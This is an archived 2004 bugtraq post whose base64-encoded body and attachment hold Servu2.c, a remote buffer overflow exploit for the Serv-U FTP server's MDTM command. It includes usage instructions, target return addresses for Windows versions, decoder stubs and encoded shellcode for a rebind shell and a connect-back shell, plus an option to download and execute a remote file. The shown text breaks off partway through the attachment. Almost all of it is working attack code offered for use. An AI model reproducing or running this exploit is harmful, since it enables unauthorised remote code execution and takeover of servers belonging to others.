[33981] in bugtraq

home help back first fref pref prev next nref lref last post

[HUC] Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Remote Exploit

daemon@ATHENA.MIT.EDU (lion)
Fri Feb 27 15:38:08 2004

Message-ID: <20040227193314.17171.qmail@mail.securityfocus.com>
Date: Sat, 28 Feb 2004 04:02:50 +0800
From: "lion" <lion@cnhonker.net>
To: "bugtraq" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=====001_Dragon223776531310_====="

--=====001_Dragon223776531310_=====
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: base64

LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUyLmMgLSBTZXJ2LVUgRlRQRCAyLngvMy54
LzQueC81LnggIk1EVE0iIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBl
eHBsb2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4N
CioNCiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiog
ICAgICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEt
MDcNCiogVXBkYXRlICAgOiAyMDA0LTAyLTI0IFdobyByZXBvcnQgdGhpcyBidWcgdG8gUmhpbm8/
Pz8gUmVsZWFzZWQgdjUuMC4wLjQgcGF0Y2hlZCB0aGlzIGJ1Zy4gDQoqICAgICAgICAgIDogMjAw
NC0wMi0xNyB2Ny4wIEFkZCBEb3dubG9hZCB1cmwgZmlsZSBhbmQgZXhlYyBzaGVsbGNvZGUuDQoq
ICAgICAgICAgIDogMjAwNC0wMi0wNCB2Ni4xIE1vZGlmaWVkIHRvIHdvcmsgd2l0aCBVTklYLg0K
KiAgICAgICAgICA6IDIwMDQtMDItMDEgdjYuMCBDaGFuZ2UgZGVjb2RlIGFuZCB0YXJnZXQsIGNo
YW5nZSAnam1wKGNhbGwpIGVieCcgYWRkciB0byAncG9wLHBvcCxyZXQnIGFkZHIsIGNhbiBhdHRh
Y2sgd2luWFAgYW5kIHdpbjIwMDMgbm93Lg0KKiAgICAgICAgICA6IDIwMDQtMDEtMzEgdjUuMCBB
ZGQgbXN2Y3J0LmRsbCBqbXAgZWJ4IGFkZHIsIGNhbiB1c2Ugb24gQ04vVFcvRU4vS1Ivb3RoZXIg
d2luMmsgU1A0IGlmIG1zdmNydC5kbGwgbm90IGNoYW5nZWQuDQoqICAgICAgICAgIDogMjAwNC0w
MS0yNiB2NC4yIENoYW5nZSBhdHRhY2sgdGFyZ2V0LCAyLnggdG8gJz49IDIuNWknIGFuZCAnPD0g
Mi41aCcuDQoqICAgICAgICAgIDogMjAwNC0wMS0yMiB2NC4xIENoYW5nZSBjb25uZWN0YmFjayBz
aGVsbGNvZGUgaW4gb25lLCBjaGFuZ2UgYmluZCBzaGVsbGNvZGUgdG8gcmViaW5kIHNoZWxsY29k
ZS4NCiogICAgICAgICAgOiAyMDA0LTAxLTEzIHY0LjAgQ2FuIGF0dGFjayBTZXJ2LVUgMi54Lg0K
KiAgICAgICAgICA6IDIwMDQtMDEtMTEgdjMuMSBBZGQgIlBPUlQiIGNvbW1hbmQsIGNhbiBwZW5l
dHJhdGUgdGhyb3VnaCB0aGUgZmlyZXdhbGwuIChzaHBvcnQgPiAxMDI0KQ0KKiAgICAgICAgICA6
IDIwMDQtMDEtMDkgdjMuMCBQdXQgc2hlbGxjb2RlIGluIGZpbGUgcGFyYW1ldGVyLCBjYW4gYXR0
YWNrIFNlcnYtVSA0LjEuMC4xMg0KKiAgICAgICAgICA6IDIwMDQtMDEtMDggdjIuMCBBZGQgY29u
bmVjdGJhY2sgc2hlbGxjb2RlLg0KKiAgICAgICAgICA6IDIwMDQtMDEtMDcgdjEuMCBDYW4gYXR0
YWNrIFNlcnYtVSB2My4wLjAuMTYgfiB2NC4xLjAuMTENCiogVGVzdGVkICAgOiBXaW5kb3dzIDIw
MDAgU2VydmVyIEVOL0NODQoqICAgICAgICAgIDoJICsgU2Vydi1VIHYzLjAuMC4xNiB+IHY1LjAu
MC4zDQoqICAgICAgICAgIDogICAgICsgU2Vydi1VIHYyLjViLCB2Mi41ZSwgdjIuNWgsIHYyLjVp
LCB2Mi41aw0KKiAgICAgICAgICA6IFdpbmRvd3MgWFAgRU4vQ04NCiogICAgICAgICAgOiAgICAg
KyBTZXJ2LVUgdjQueA0KKiBOb3RpY2UgICA6ICoqKiBCdWcgZmluZCBieSBia2JsbCAoYmtibGxA
Y25ob25rZXIubmV0KSAyMDA0LTAxLTA3ICoqKg0KKiAgICAgICAgICA6ICoqKiBZb3UgbmVlZCBh
IHZhbGlkIGFjY291bnQuIGluY2x1ZGUgYW5vbnltb3VzISEhICoqKg0KKiAgICAgICAgICA6ICoq
KiBUaGlzIGlzIGEgUHVibGljIFZlcnNpb24hICoqKg0KKiBDb21wbGllICA6T24gV2luZG93cw0K
KiAgICAgICAgICA6ICAgICBjbCBTZXJ2dTIuYw0KKiAgICAgICAgICA6T24gVU5JWA0KKiAgICAg
ICAgICA6ICAgICBnY2MgLW8gU2VydnUyIFNlcnZ1Mi5jIC1EVU5JWA0KKiBVc2FnZQkgICA6ZTpc
PlNlcnZ1Mg0KKiAgICAgICAgICA6U2Vydi1VIEZUUEQgMi54LzMueC80LngvNS54IHJlbW90ZSBv
dmVyZmxvdyBleHBsb2l0IFY3LjAgKDIwMDQtMDEtMDcpDQoqICAgICAgICAgIDpCdWcgZmluZCBi
eSBia2JsbCAoYmtibGxAY25ob25rZXIubmV0KSwgQ29kZSBieSBsaW9uIChsaW9uQGNuaG9ua2Vy
Lm5ldCkNCiogICAgICAgICAgOldlbGNvbWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5jbmhv
bmtlci5jb20NCiogICAgICAgICAgOlVzYWdlOiAgU2VydnUyICAtaSA8aXA+IFtPcHRpb25zXQ0K
KiAgICAgICAgICA6ICAgICAgICAgICAgICAgIC10ICAgICAgU2hvdyBBbGwgVGFyZ2V0IFR5cGUu
DQoqICAgICAgICAgIDoNCiogICAgICAgICAgOltPcHRpb25zOl0NCiogICAgICAgICAgOiAgICAg
ICAgLWkgICAgICBUYXJnZXQgSVAgICAgICAgICAgICAgICAgICAgICBSZXF1aXJlZA0KKiAgICAg
ICAgICA6ICAgICAgICAtdCAgICAgIFRhcmdldCBUeXBlICAgICAgICAgICAgICAgICAgIERlZmF1
bHQ6IDANCiogICAgICAgICAgOiAgICAgICAgLXUgICAgICBGVFAgVXNlcm5hbWUgICAgICAgICAg
ICAgICAgICBEZWZhdWx0OiBmdHANCiogICAgICAgICAgOiAgICAgICAgLXAgICAgICBGVFAgUGFz
c3dvcmQgICAgICAgICAgICAgICAgICBEZWZhdWx0OiBmdHBAZnRwLmNvbQ0KKiAgICAgICAgICA6
ICAgICAgICAtZiAgICAgIFBvcnQgb2YgdGhlIEZUUCBTZXJ2ZXIgICAgICAgIERlZmF1bHQ6IDIx
DQoqICAgICAgICAgIDogICAgICAgIC1zICAgICAgUG9ydCBvZiB0aGUgU2hlbGwgICAgICAgICAg
ICAgRGVmYXVsdDogNTMNCiogICAgICAgICAgOiAgICAgICAgLWMgICAgICBDb25uZWN0IGJhY2sg
SVAgICAgICAgICAgICAgICBGb3IgY29ubmVjdGJhY2sgc2hlbGxjb2RlDQoqICAgICAgICAgIDog
ICAgICAgIC1kICAgICAgRG93bmxvYWQgdGhlIFVSTCBhbmQgRXhlYyAgICAgU3RhcnQgd2l0aCAn
aHR0cDovLycgb3IgJ2Z0cDovLycNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQogCQkJCQ0KDQqhoaGh
oaGhoaGhoaGhoaGhbGlvbg0KoaGhoaGhoaGhoaGhoaGhoWxpb25AY25ob25rZXIubmV0DQogICAg
ICAgICAgICAgICBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KoaGhoaGhoaGhoaGhoaGhoaGhoaEy
MDA0LTAyLTI4DQo=
--=====001_Dragon223776531310_=====
Content-Type: application/octet-stream;
	name="Servu2.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Servu2.c"

LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUyLmMgLSBTZXJ2LVUgRlRQRCAyLngvMy54
LzQueC81LnggIk1EVE0iIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBl
eHBsb2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4N
CioNCiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiog
ICAgICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEt
MDcNCiogVXBkYXRlICAgOiAyMDA0LTAyLTI0IFdobyByZXBvcnQgdGhpcyBidWcgdG8gUmhpbm8/
Pz8gUmVsZWFzZWQgdjUuMC4wLjQgcGF0Y2hlZCB0aGlzIGJ1Zy4gDQoqICAgICAgICAgIDogMjAw
NC0wMi0xNyB2Ny4wIEFkZCBEb3dubG9hZCB1cmwgZmlsZSBhbmQgZXhlYyBzaGVsbGNvZGUuDQoq
ICAgICAgICAgIDogMjAwNC0wMi0wNCB2Ni4xIE1vZGlmaWVkIHRvIHdvcmsgd2l0aCBVTklYLg0K
KiAgICAgICAgICA6IDIwMDQtMDItMDEgdjYuMCBDaGFuZ2UgZGVjb2RlIGFuZCB0YXJnZXQsIGNo
YW5nZSAnam1wKGNhbGwpIGVieCcgYWRkciB0byAncG9wLHBvcCxyZXQnIGFkZHIsIGNhbiBhdHRh
Y2sgd2luWFAgYW5kIHdpbjIwMDMgbm93Lg0KKiAgICAgICAgICA6IDIwMDQtMDEtMzEgdjUuMCBB
ZGQgbXN2Y3J0LmRsbCBqbXAgZWJ4IGFkZHIsIGNhbiB1c2Ugb24gQ04vVFcvRU4vS1Ivb3RoZXIg
d2luMmsgU1A0IGlmIG1zdmNydC5kbGwgbm90IGNoYW5nZWQuDQoqICAgICAgICAgIDogMjAwNC0w
MS0yNiB2NC4yIENoYW5nZSBhdHRhY2sgdGFyZ2V0LCAyLnggdG8gJz49IDIuNWknIGFuZCAnPD0g
Mi41aCcuDQoqICAgICAgICAgIDogMjAwNC0wMS0yMiB2NC4xIENoYW5nZSBjb25uZWN0YmFjayBz
aGVsbGNvZGUgaW4gb25lLCBjaGFuZ2UgYmluZCBzaGVsbGNvZGUgdG8gcmViaW5kIHNoZWxsY29k
ZS4NCiogICAgICAgICAgOiAyMDA0LTAxLTEzIHY0LjAgQ2FuIGF0dGFjayBTZXJ2LVUgMi54Lg0K
KiAgICAgICAgICA6IDIwMDQtMDEtMTEgdjMuMSBBZGQgIlBPUlQiIGNvbW1hbmQsIGNhbiBwZW5l
dHJhdGUgdGhyb3VnaCB0aGUgZmlyZXdhbGwuIChzaHBvcnQgPiAxMDI0KQ0KKiAgICAgICAgICA6
IDIwMDQtMDEtMDkgdjMuMCBQdXQgc2hlbGxjb2RlIGluIGZpbGUgcGFyYW1ldGVyLCBjYW4gYXR0
YWNrIFNlcnYtVSA0LjEuMC4xMg0KKiAgICAgICAgICA6IDIwMDQtMDEtMDggdjIuMCBBZGQgY29u
bmVjdGJhY2sgc2hlbGxjb2RlLg0KKiAgICAgICAgICA6IDIwMDQtMDEtMDcgdjEuMCBDYW4gYXR0
YWNrIFNlcnYtVSB2My4wLjAuMTYgfiB2NC4xLjAuMTENCiogVGVzdGVkICAgOiBXaW5kb3dzIDIw
MDAgU2VydmVyIEVOL0NODQoqICAgICAgICAgIDoJICsgU2Vydi1VIHYzLjAuMC4xNiB+IHY1LjAu
MC4zDQoqICAgICAgICAgIDogICAgICsgU2Vydi1VIHYyLjViLCB2Mi41ZSwgdjIuNWgsIHYyLjVp
LCB2Mi41aw0KKiAgICAgICAgICA6IFdpbmRvd3MgWFAgRU4vQ04NCiogICAgICAgICAgOiAgICAg
KyBTZXJ2LVUgdjQueA0KKiBOb3RpY2UgICA6ICoqKiBCdWcgZmluZCBieSBia2JsbCAoYmtibGxA
Y25ob25rZXIubmV0KSAyMDA0LTAxLTA3ICoqKg0KKiAgICAgICAgICA6ICoqKiBZb3UgbmVlZCBh
IHZhbGlkIGFjY291bnQuIGluY2x1ZGUgYW5vbnltb3VzISEhICoqKg0KKiAgICAgICAgICA6ICoq
KiBUaGlzIGlzIGEgUHVibGljIFZlcnNpb24hICoqKg0KKiBDb21wbGllICA6T24gV2luZG93cw0K
KiAgICAgICAgICA6ICAgICBjbCBTZXJ2dTIuYw0KKiAgICAgICAgICA6T24gVU5JWA0KKiAgICAg
ICAgICA6ICAgICBnY2MgLW8gU2VydnUyIFNlcnZ1Mi5jIC1EVU5JWA0KKiBVc2FnZQkgICA6ZTpc
PlNlcnZ1Mg0KKiAgICAgICAgICA6U2Vydi1VIEZUUEQgMi54LzMueC80LngvNS54IHJlbW90ZSBv
dmVyZmxvdyBleHBsb2l0IFY3LjAgKDIwMDQtMDEtMDcpDQoqICAgICAgICAgIDpCdWcgZmluZCBi
eSBia2JsbCAoYmtibGxAY25ob25rZXIubmV0KSwgQ29kZSBieSBsaW9uIChsaW9uQGNuaG9ua2Vy
Lm5ldCkNCiogICAgICAgICAgOldlbGNvbWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5jbmhv
bmtlci5jb20NCiogICAgICAgICAgOlVzYWdlOiAgU2VydnUyICAtaSA8aXA+IFtPcHRpb25zXQ0K
KiAgICAgICAgICA6ICAgICAgICAgICAgICAgIC10ICAgICAgU2hvdyBBbGwgVGFyZ2V0IFR5cGUu
DQoqICAgICAgICAgIDoNCiogICAgICAgICAgOltPcHRpb25zOl0NCiogICAgICAgICAgOiAgICAg
ICAgLWkgICAgICBUYXJnZXQgSVAgICAgICAgICAgICAgICAgICAgICBSZXF1aXJlZA0KKiAgICAg
ICAgICA6ICAgICAgICAtdCAgICAgIFRhcmdldCBUeXBlICAgICAgICAgICAgICAgICAgIERlZmF1
bHQ6IDANCiogICAgICAgICAgOiAgICAgICAgLXUgICAgICBGVFAgVXNlcm5hbWUgICAgICAgICAg
ICAgICAgICBEZWZhdWx0OiBmdHANCiogICAgICAgICAgOiAgICAgICAgLXAgICAgICBGVFAgUGFz
c3dvcmQgICAgICAgICAgICAgICAgICBEZWZhdWx0OiBmdHBAZnRwLmNvbQ0KKiAgICAgICAgICA6
ICAgICAgICAtZiAgICAgIFBvcnQgb2YgdGhlIEZUUCBTZXJ2ZXIgICAgICAgIERlZmF1bHQ6IDIx
DQoqICAgICAgICAgIDogICAgICAgIC1zICAgICAgUG9ydCBvZiB0aGUgU2hlbGwgICAgICAgICAg
ICAgRGVmYXVsdDogNTMNCiogICAgICAgICAgOiAgICAgICAgLWMgICAgICBDb25uZWN0IGJhY2sg
SVAgICAgICAgICAgICAgICBGb3IgY29ubmVjdGJhY2sgc2hlbGxjb2RlDQoqICAgICAgICAgIDog
ICAgICAgIC1kICAgICAgRG93bmxvYWQgdGhlIFVSTCBhbmQgRXhlYyAgICAgU3RhcnQgd2l0aCAn
aHR0cDovLycgb3IgJ2Z0cDovLycNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQoNCiNpZm5kZWYgVU5J
WA0KI2luY2x1ZGUgPHdpbnNvY2syLmg+DQojaW5jbHVkZSA8d2luZG93cy5oPg0KI2luY2x1ZGUg
PHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQoNCiNwcmFnbWEgY29tbWVudChsaWIsICJ3
czJfMzIiKQ0KI2Vsc2UNCiAjZGVmaW5lIHVpbnQzMl90IERXT1JEDQogI2luY2x1ZGUgPHN5cy90
eXBlcy5oPg0KICNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQogI2luY2x1ZGUgPG5ldGRiLmg+DQog
I2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiAjaW5jbHVkZSA8ZXJybm8uaD4NCg0KICNkZWZpbmUg
Y2xvc2Vzb2NrZXQodmFsKSBjbG9zZSh2YWwpDQogI2RlZmluZSBTT0NLRVQgdW5zaWduZWQgaW50
IA0KICNkZWZpbmUgU09DS0FERFJfSU4gc3RydWN0IHNvY2thZGRyX2luDQogI2RlZmluZSBCT09M
IHVuc2lnbmVkIGludA0KICNkZWZpbmUgVFJVRSAxDQogI2RlZmluZSBGQUxTRSAwDQogI2RlZmlu
ZSBJTlZBTElEX1NPQ0tFVCAtMQ0KICNkZWZpbmUgU09DS0VUX0VSUk9SIC0xDQogI2RlZmluZSBV
U0hPUlQgdW5zaWduZWQgaW50DQogI2RlZmluZSBTbGVlcCB1c2xlZXANCiAjZGVmaW5lIF9fbGVh
dmUgZ290byBleGl0X3RyeQ0KICNkZWZpbmUgX3NucHJpbnRmIHNucHJpbnRmDQogdHlwZWRlZiBz
dHJ1Y3Qgc29ja2FkZHIqIExQU09DS0FERFI7DQojZW5kaWYNCg0KDQojaWZkZWYgVU5JWA0KaW50
IEdldExhc3RFcnJvcigpIA0Kew0KCXJldHVybiBlcnJubzsNCn0NCg0KaW50IFdTQUdldExhc3RF
cnJvcigpIA0Kew0KCXJldHVybiBlcnJubzsNCn0NCiNlbmRpZg0KDQojZGVmaW5lIE1BWF9MRU4J
CQkyMDQ4DQojZGVmaW5lCVNFSF9PRkZTRVQgCQk0OC0xDQojZGVmaW5lIEpNUF9PVkVSCQkiXHhl
Ylx4MDZceGViXHgwNiINCiNkZWZpbmUJVkVSU0lPTgkJCSI3LjAiDQoNCi8vIGZvciByZWJpbmQg
c2hlbGxjb2RlDQojZGVmaW5lIEJJTkRfT0ZGU0VUCQkxMTMNCg0KLy8gZm9yIGNvbm5lY3RiYWNr
IHNoZWxsY29kZQ0KI2RlZmluZSBQT1JUX09GRlNFVAkJOTUNCiNkZWZpbmUgSVBfT0ZGU0VUCQk4
OA0KDQovLyBkZWZhdWx0IHBhcmFtZXRlcg0KI2RlZmluZSBTSEVMTFBPUlQJCTUzDQojZGVmaW5l
IEZUUFBPUlQgICAgICAgICAyMQ0KI2RlZmluZSBERUZUWVBFICAgICAgICAgMA0KI2RlZmluZSBE
RUZVU0VSCQkJImZ0cCINCiNkZWZpbmUgREVGUEFTUwkJCSJmdHBAZnRwLmNvbSINCg0KLy8gZm9y
IFNlcnYtVSAyLngNCiNkZWZpbmUgUkVBRF9BRERSCQkiXHgwMVx4MDFceGZkXHg3ZiINCiNkZWZp
bmUgUkVBRF9PRkZTRVQJCTUrMTQrMTINCg0Kc3RydWN0DQp7DQoJRFdPUkQJZHdKTVA7DQoJY2hh
cgkqc3pEZXNjcmlwdGlvbjsNCn10YXJnZXRzW10gPQ0Kew0KCXsweDdmZmExYzFiLCJTZXJ2LVUg
My54LzQueC81LnggIEVOICAgIDJLL1hQLzJLMyAgQUxMIn0sCQkvL3BvcCxwb3AscmV0IGFkZHIg
Zm9yIGFsbCBFTiB3aW4yMDAwLHdpbnhwLHdpbjIwMDMNCgl7MHg3ZmZhMjE4NiwiU2Vydi1VIDMu
eC80LngvNS54ICBUVyAgICAySyAgICAgICAgIEFMTCJ9LAkJLy9qbXAgZWJ4IGFkZHIgZm9yIGFs
bCBUVyB3aW4yMDAwDQoJezB4N2ZmYTRhMWIsIlNlcnYtVSAzLngvNC54LzUueCAgS1IgICAgMksg
ICAgICAgICBBTEwifSwJCS8vam1wIGVieCBhZGRyIGZvciBhbGwgS1Igd2luMjAwMA0KDQoJezB4
N2ZmYTI0Y2UsIlNlcnYtVSAyLnggPj0gMi41aSAgVFcgICAgMksvWFAvMkszICBBTEwifSwJCS8v
am1wIGVzcCBhZGRyIGZvciBhbGwgVFcgd2luMjAwMCBhbmQgd2lueHANCgl7MHg3ZmZhMjRjZSwi
U2Vydi1VIDIueCA8PSAyLjVoICBUVyAgICAySy9YUC8ySzMgIEFMTCJ9LAkJLy9qbXAgZXNwIGFk
ZHIgZm9yIGFsbCBUVyB3aW4yMDAwIGFuZCB3aW54cA0KDQoJezB4N2ZmYTgyYTQsIlNlcnYtVSAy
LnggPj0gMi41aSAgS1IgICAgMksvWFAvMkszICBBTEwifSwJCS8vY2FsbCBlc3AgYWRkciBmb3Ig
YWxsIEtSIHdpbjIwMDAgYW5kIHdpbnhwDQoJezB4N2ZmYTgyYTQsIlNlcnYtVSAyLnggPD0gMi41
aCAgS1IgICAgMksvWFAvMkszICBBTEwifSwJCS8vY2FsbCBlc3AgYWRkciBmb3IgYWxsIEtSIHdp
bjIwMDAgYW5kIHdpbnhwIA0KCXsweDc3OGU3MWEzLCJTZXJ2LVUgMi54ID49IDIuNWkgIEVOICAg
IDJLICAgICAgICAgU1A0In0sCQkvL3NldHVwYXBpLmRsbCBqbXAgZXNwIGFkZHINCgl7MHg3Nzhl
NzFhMywiU2Vydi1VIDIueCA8PSAyLjVoICBFTiAgICAySyAgICAgICAgIFNQNCJ9LAkJLy9zZXR1
cGFwaS5kbGwgam1wIGVzcCBhZGRyDQoNCi8vCXsweDc4MDJiYTc3LCJTZXJ2LVUgdGVzdCJ9LCAg
ICAgICAgIA0KfSx2Ow0KDQoNCnVuc2lnbmVkIGNoYXIJKnN6U2VuZFs0XTsNCnVuc2lnbmVkIGNo
YXIJc3pDb21tYW5kW01BWF9MRU5dOw0KDQovLyAyOCBieXRlcyBkZWNvZGUgYnkgbGlvbiBmb3Ig
b3ZlcndyaXRlIGVpcCwgZG9uJ3QgY2hhbmdlIHRoaXMuDQp1bnNpZ25lZCBjaGFyIGRlY29kZVtd
PQ0KIlx4QkVceDZEXHg2OVx4NkZceDZFXHg0RVx4QkZceDZEXHg2OVx4MzBceDZFXHg0Rlx4NDNc
eDM5XHgzQlx4NzUiDQoiXHhGQlx4NEJceDgwXHgzM1x4OTlceDM5XHg3M1x4RkNceDc1XHhGN1x4
RkZceEQzIjsNCg0KLy8gMzEgYnl0ZXMgZGVjb2RlIGJ5IGxpb24gZm9yIG92ZXJ3cml0ZSBTRUgs
IGRvbid0IGNoYW5nZSB0aGlzLg0KdW5zaWduZWQgY2hhciBkZWNvZGUyW109DQoiXHg1RVx4NUZc
eDVCXHhCRVx4NkRceDY5XHg2Rlx4NkVceDRFXHhCRlx4NkRceDY5XHgzMFx4NkVceDRGXHg0MyIN
CiJceDM5XHgzQlx4NzVceEZCXHg0Qlx4ODBceDMzXHg5OVx4MzlceDczXHhGQ1x4NzVceEY3XHhG
Rlx4RDMiOw0KDQoNCi8vIFNoZWxsY29kZSBzdGFydCBzaWduLCB1c2UgZm9yIGRlY29kZSwgZG9u
J3QgY2hhbmdlIHRoaXMuDQp1bnNpZ25lZCBjaGFyIHNjX3N0YXJ0W109DQoibGlvbiI7IA0KDQov
LyBTaGVsbGNvZGUgZW5kIHNpZ24sIHVzZSBmb3IgZGVjb2RlLCBkb24ndCBjaGFuZ2UgdGhpcy4N
CnVuc2lnbmVkIGNoYXIgc2NfZW5kW109DQoibGkwbiI7IA0KDQovLyAzNDQgYnl0ZXMgcmViaW5k
IHNoZWxsY29kZSBieSBsaW9uIGZvciBTZXJ2LVUgKHhvciB3aXRoIDB4OTkpDQp1bnNpZ25lZCBj
aGFyIHNjW109DQoiXHg3MFx4QkJceDk4XHg5OVx4OTlceEM2XHhGRFx4MzhceEE5XHg5OVx4OTlc
eDk5XHgxMlx4RDlceDk1XHgxMiINCiJceEU5XHg4NVx4MzRceDEyXHhGMVx4OTFceDEyXHg2RVx4
RjNceDlEXHhDMFx4NzFceDVCXHg5OVx4OTlceDk5Ig0KIlx4N0JceDYwXHhGMVx4QUFceEFCXHg5
OVx4OTlceEYxXHhFRVx4RUFceEFCXHhDNlx4Q0RceDY2XHg4Rlx4MTIiDQoiXHg3MVx4RjNceDlF
XHhDMFx4NzFceDMwXHg5OVx4OTlceDk5XHg3Qlx4NjBceDE4XHg3NVx4MDlceDk4XHg5OSINCiJc
eDk5XHhDRFx4RjFceDk4XHg5OFx4OTlceDk5XHg2Nlx4Q0ZceDg5XHhDOVx4QzlceEM5XHhDOVx4
RjNceDk4Ig0KIlx4RjNceDlCXHg2Nlx4Q0ZceDhEXHgxMlx4NDFceDVFXHg5RVx4OThceDk5XHg5
OVx4OTlceEYzXHg5RFx4MTQiDQoiXHg4RVx4Q0JceEYzXHg5RFx4RjFceDY2XHg2Nlx4OTlceDk5
XHhDQVx4NjZceENGXHg4MVx4NUVceDlFXHg5QiINCiJceDk5XHg5OVx4QUNceDEwXHhERVx4OURc
eEYzXHg4OVx4Q0VceENBXHg2Nlx4Q0ZceDg1XHhGM1x4OThceENBIg0KIlx4NjZceENGXHhCOVx4
QzlceEM5XHhDQVx4NjZceENGXHhCRFx4MTJceDQxXHhBQVx4NTlceEYxXHhGQVx4RjQiDQoiXHhG
RFx4OTlceDEwXHhGRlx4QTlceDFBXHg3NVx4Q0RceDEyXHg2NVx4RjNceDhEXHhDMFx4MTBceDlE
XHgxNiINCiJceDdCXHg2Mlx4NUZceERFXHg4OVx4RERceDY3XHhERVx4QTVceDY3XHhERVx4QTRc
eDEwXHhDNlx4RDFceDEwIg0KIlx4QzZceEQ1XHgxMFx4QzZceEM5XHgxNFx4RERceEJEXHg4OVx4
Q0VceEM5XHhDOFx4QzhceEM4XHhGM1x4OTgiDQoiXHhDOFx4QzhceDY2XHhFRlx4QTlceEM4XHg2
Nlx4Q0ZceDlEXHgxMlx4NTVceEYzXHg2Nlx4NjZceEE4XHg2NiINCiJceENGXHg5MVx4NzJceDlF
XHgwOVx4MDlceDA5XHgwOVx4MDlceDA5XHgwOVx4Q0FceDY2XHhDRlx4QjFceDY2Ig0KIlx4Q0Zc
eDk1XHhDOFx4Q0ZceDEyXHhFQ1x4QTVceDEyXHhFRFx4QjdceEUxXHg5QVx4NkNceENGXHgxMlx4
RUYiDQoiXHhCOVx4OUFceDZDXHhBQVx4NTBceEQwXHhEOFx4MzRceDlBXHg1Q1x4QUFceDQyXHg5
Nlx4MjdceDg5XHhBMyINCiJceDRGXHhFRFx4OTFceDU4XHg1Mlx4OTRceDlBXHg0M1x4RDlceDcy
XHg2OFx4QTJceDg2XHhFQ1x4N0VceEM3Ig0KIlx4MTJceEM3XHhCRFx4OUFceDQ0XHhGRlx4MTJc
eDk1XHhEMlx4MTJceEM3XHg4NVx4OUFceDQ0XHgxMlx4OUQiDQoiXHgxMlx4OUFceDVDXHgzMlx4
QzdceEMwXHg1QVx4NzFceDQwXHg2N1x4NjZceDY2XHgxN1x4RDdceDk3XHg3NSINCiJceEVCXHg2
N1x4MkFceDhGXHgzNFx4NDBceDlDXHg1N1x4RTdceDQxXHg3Qlx4RUFceDUyXHg3NFx4NjVceEEy
Ig0KIlx4NDBceDkwXHg2Q1x4MzRceDc1XHg2Qlx4Q0NceDU5XHgzRFx4ODNceEU5XHg1RVx4M0Rc
eDM0XHhCN1x4NzAiDQoiXHg3Q1x4RDBceDFGXHhEMFx4N0VceEUwXHg1Rlx4RTAiOw0KDQovLyAz
MDQgYnl0ZXMgY29ubmVjdGJhY2sgc2hlbGxjb2RlIGJ5IGxpb24gZm9yIFNlcnYtVSAoeG9yIHdp
dGggMHg5OSkNCnVuc2lnbmVkIGNoYXIgY2JzY1tdPQ0KIlx4NzBceDlDXHg5OFx4OTlceDk5XHhD
Nlx4RkRceDM4XHhBOVx4OTlceDk5XHg5OVx4MTJceEQ5XHg5NVx4MTIiDQoiXHhFOVx4ODVceDM0
XHgxMlx4RjFceDkxXHgxMlx4NkVceEYzXHg5RFx4QzBceDcxXHgwNVx4OTlceDk5XHg5OSINCiJc
eDdCXHg2MFx4RjFceEFBXHhBQlx4OTlceDk5XHhGMVx4RUVceEVBXHhBQlx4QzZceENEXHg2Nlx4
OEZceDEyIg0KIlx4NzFceEYzXHg5RFx4QzBceDcxXHgxQVx4OTlceDk5XHg5OVx4N0JceDYwXHgx
OFx4NzVceDA5XHg5OFx4OTkiDQoiXHg5OVx4Q0RceEYxXHg5OFx4OThceDk5XHg5OVx4NjZceENG
XHg4OVx4QzlceEM5XHhDOVx4QzlceEYzXHg5OCINCiJceEYzXHg5Qlx4NjZceENGXHg4RFx4MTJc
eDQxXHhGMVx4RTZceDk5XHg5OVx4OThceEYxXHg5Qlx4OTlceDk5Ig0KIlx4QUNceDEyXHg1NVx4
RjNceDg5XHhDOFx4Q0FceDY2XHhDRlx4ODFceDFDXHg1OVx4RUNceEQyXHhBQVx4NTkiDQoiXHhG
MVx4RkFceEY0XHhGRFx4OTlceDEwXHhGRlx4QTlceDFBXHg3NVx4Q0RceDEyXHg2NVx4RjNceDg5
XHhDMCINCiJceDEwXHg5RFx4MTZceDdCXHg2Mlx4NUZceERFXHg4OVx4RERceDY3XHhERVx4QTVc
